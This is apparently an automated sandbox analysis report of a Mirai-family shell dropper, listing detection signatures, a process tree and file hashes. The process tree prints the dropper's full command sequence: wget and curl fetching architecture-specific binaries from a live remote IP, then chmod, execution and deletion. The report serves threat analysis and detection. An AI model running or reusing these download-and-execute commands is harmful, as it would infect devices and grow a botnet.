Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260126-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/02/2026, 00:05

General

  • Target
    newreaxe.sh
  • Size 3KB
  • Sample260204-adedeaev4b
  • SHA256 b4b15ac50d03460b5cc4d2fe64c12bbffa068b1a583ecb4330198fc933a63578
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 29 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/newreaxe.sh
    /tmp/newreaxe.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:650
    • /usr/bin/wget
      wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.x86
      2⤵
      • Writes file to tmp directory
      PID:657
    • /usr/bin/curl
      curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:671
    • /bin/chmod
      chmod +x busybox m9x7k2v8b3.x86 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
      2⤵
      • File and Directory Permissions Modification
      PID:674
    • /tmp/m9x7k2v8b3.x86
      ./m9x7k2v8b3.x86 kargar6
      2⤵
        PID:676
      • /bin/rm
        rm -rf m9x7k2v8b3.x86
        2⤵
          PID:679
        • /usr/bin/wget
          wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:681
        • /usr/bin/curl
          curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:708
        • /bin/chmod
          chmod +x busybox m9x7k2v8b3.mips newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
          2⤵
          • File and Directory Permissions Modification
          PID:723
        • /tmp/m9x7k2v8b3.mips
          ./m9x7k2v8b3.mips kargar6
          2⤵
          • System Network Configuration Discovery
          PID:724
        • /bin/rm
          rm -rf m9x7k2v8b3.mips
          2⤵
          • System Network Configuration Discovery
          PID:726
        • /usr/bin/wget
          wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arc
          2⤵
          • Writes file to tmp directory
          PID:727
        • /usr/bin/curl
          curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arc
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod +x busybox m9x7k2v8b3.arc newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
          2⤵
          • File and Directory Permissions Modification
          PID:759
        • /tmp/m9x7k2v8b3.arc
          ./m9x7k2v8b3.arc kargar6
          2⤵
            PID:760
          • /bin/rm
            rm -rf m9x7k2v8b3.arc
            2⤵
              PID:762
            • /usr/bin/wget
              wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.i686
              2⤵
              • Writes file to tmp directory
              PID:763
            • /usr/bin/curl
              curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.i686
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:764
            • /bin/chmod
              chmod +x busybox m9x7k2v8b3.i686 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
              2⤵
              • File and Directory Permissions Modification
              PID:765
            • /tmp/m9x7k2v8b3.i686
              ./m9x7k2v8b3.i686 kargar6
              2⤵
                PID:766
              • /bin/rm
                rm -rf m9x7k2v8b3.i686
                2⤵
                  PID:768
                • /usr/bin/wget
                  wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.x86_64
                  2⤵
                  • Writes file to tmp directory
                  PID:769
                • /usr/bin/curl
                  curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.x86_64
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:770
                • /bin/chmod
                  chmod +x busybox m9x7k2v8b3.x86_64 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
                  2⤵
                  • File and Directory Permissions Modification
                  PID:771
                • /tmp/m9x7k2v8b3.x86_64
                  ./m9x7k2v8b3.x86_64 kargar6
                  2⤵
                    PID:772
                  • /bin/rm
                    rm -rf m9x7k2v8b3.x86_64
                    2⤵
                      PID:774
                    • /usr/bin/wget
                      wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:775
                    • /usr/bin/curl
                      curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.mpsl
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:776
                    • /bin/chmod
                      chmod +x busybox m9x7k2v8b3.mpsl newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
                      2⤵
                      • File and Directory Permissions Modification
                      PID:777
                    • /tmp/m9x7k2v8b3.mpsl
                      ./m9x7k2v8b3.mpsl kargar6
                      2⤵
                        PID:778
                      • /bin/rm
                        rm -rf m9x7k2v8b3.mpsl
                        2⤵
                          PID:780
                        • /usr/bin/wget
                          wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm
                          2⤵
                          • Writes file to tmp directory
                          PID:781
                        • /usr/bin/curl
                          curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm
                          2⤵
                          • Checks CPU configuration
                          • Writes file to tmp directory
                          PID:782
                        • /bin/chmod
                          chmod +x busybox m9x7k2v8b3.arm newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
                          2⤵
                          • File and Directory Permissions Modification
                          PID:783
                        • /tmp/m9x7k2v8b3.arm
                          ./m9x7k2v8b3.arm kargar6
                          2⤵
                          • Modifies Watchdog functionality
                          • Writes file to system bin folder
                          • Reads runtime system information
                          PID:784
                        • /bin/rm
                          rm -rf m9x7k2v8b3.arm
                          2⤵
                            PID:792
                          • /usr/bin/wget
                            wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm5
                            2⤵
                            • Writes file to tmp directory
                            PID:793
                          • /usr/bin/curl
                            curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm5
                            2⤵
                            • Checks CPU configuration
                            • Writes file to tmp directory
                            PID:794
                          • /bin/chmod
                            chmod +x busybox m9x7k2v8b3.arm5 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
                            2⤵
                            • File and Directory Permissions Modification
                            PID:795
                          • /tmp/m9x7k2v8b3.arm5
                            ./m9x7k2v8b3.arm5 kargar6
                            2⤵
                              PID:796
                            • /bin/rm
                              rm -rf m9x7k2v8b3.arm5
                              2⤵
                                PID:797
                              • /usr/bin/wget
                                wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm6
                                2⤵
                                • Writes file to tmp directory
                                PID:798
                              • /usr/bin/curl
                                curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm6
                                2⤵
                                • Checks CPU configuration
                                • Writes file to tmp directory
                                PID:799
                              • /bin/chmod
                                chmod +x busybox m9x7k2v8b3.arm6 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
                                2⤵
                                • File and Directory Permissions Modification
                                PID:800
                              • /tmp/m9x7k2v8b3.arm6
                                ./m9x7k2v8b3.arm6 kargar6
                                2⤵
                                  PID:801
                                • /bin/rm
                                  rm -rf m9x7k2v8b3.arm6
                                  2⤵
                                    PID:802
                                  • /usr/bin/wget
                                    wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm7
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:803
                                  • /usr/bin/curl
                                    curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm7
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:804
                                  • /bin/chmod
                                    chmod +x busybox m9x7k2v8b3.arm7 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:805
                                  • /tmp/m9x7k2v8b3.arm7
                                    ./m9x7k2v8b3.arm7 kargar6
                                    2⤵
                                    • Modifies Watchdog functionality
                                    • Writes file to system bin folder
                                    • Reads runtime system information
                                    PID:806
                                  • /bin/rm
                                    rm -rf m9x7k2v8b3.arm7
                                    2⤵
                                      PID:815
                                    • /usr/bin/wget
                                      wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.ppc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:816
                                    • /usr/bin/curl
                                      curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.ppc
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:817
                                    • /bin/chmod
                                      chmod +x busybox m9x7k2v8b3.ppc newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:818
                                    • /tmp/m9x7k2v8b3.ppc
                                      ./m9x7k2v8b3.ppc kargar6
                                      2⤵
                                        PID:819
                                      • /bin/rm
                                        rm -rf m9x7k2v8b3.ppc
                                        2⤵
                                          PID:821
                                        • /usr/bin/wget
                                          wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.spc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:822
                                        • /usr/bin/curl
                                          curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.spc
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:823
                                        • /bin/chmod
                                          chmod +x busybox m9x7k2v8b3.spc newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:824
                                        • /tmp/m9x7k2v8b3.spc
                                          ./m9x7k2v8b3.spc kargar6
                                          2⤵
                                            PID:825
                                          • /bin/rm
                                            rm -rf m9x7k2v8b3.spc
                                            2⤵
                                              PID:827
                                            • /usr/bin/wget
                                              wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.m68k
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:828
                                            • /usr/bin/curl
                                              curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.m68k
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:829
                                            • /bin/chmod
                                              chmod +x busybox m9x7k2v8b3.m68k newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:830
                                            • /tmp/m9x7k2v8b3.m68k
                                              ./m9x7k2v8b3.m68k kargar6
                                              2⤵
                                                PID:831
                                              • /bin/rm
                                                rm -rf m9x7k2v8b3.m68k
                                                2⤵
                                                  PID:833
                                                • /usr/bin/wget
                                                  wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.sh4
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:834
                                                • /usr/bin/curl
                                                  curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.sh4
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:835
                                                • /bin/chmod
                                                  chmod +x busybox m9x7k2v8b3.sh4 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:836
                                                • /tmp/m9x7k2v8b3.sh4
                                                  ./m9x7k2v8b3.sh4 kargar6
                                                  2⤵
                                                    PID:837
                                                  • /bin/rm
                                                    rm -rf m9x7k2v8b3.sh4
                                                    2⤵
                                                      PID:839

                                                  Network

                                                        MITRE ATT&CK Enterprise v16

                                                        Replay Monitor

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                                                        Downloads

                                                        busybox

                                                        • Path /tmp/busybox
                                                        • Size 507KB
                                                        • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        m9x7k2v8b3.x86

                                                        • Path /tmp/m9x7k2v8b3.x86
                                                        • Size 39KB
                                                        • SHA256 a032e7a7053822b6d37f8dc47c093ee0ba09ca5b95ad8413f8511fb0cf9c8abd
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH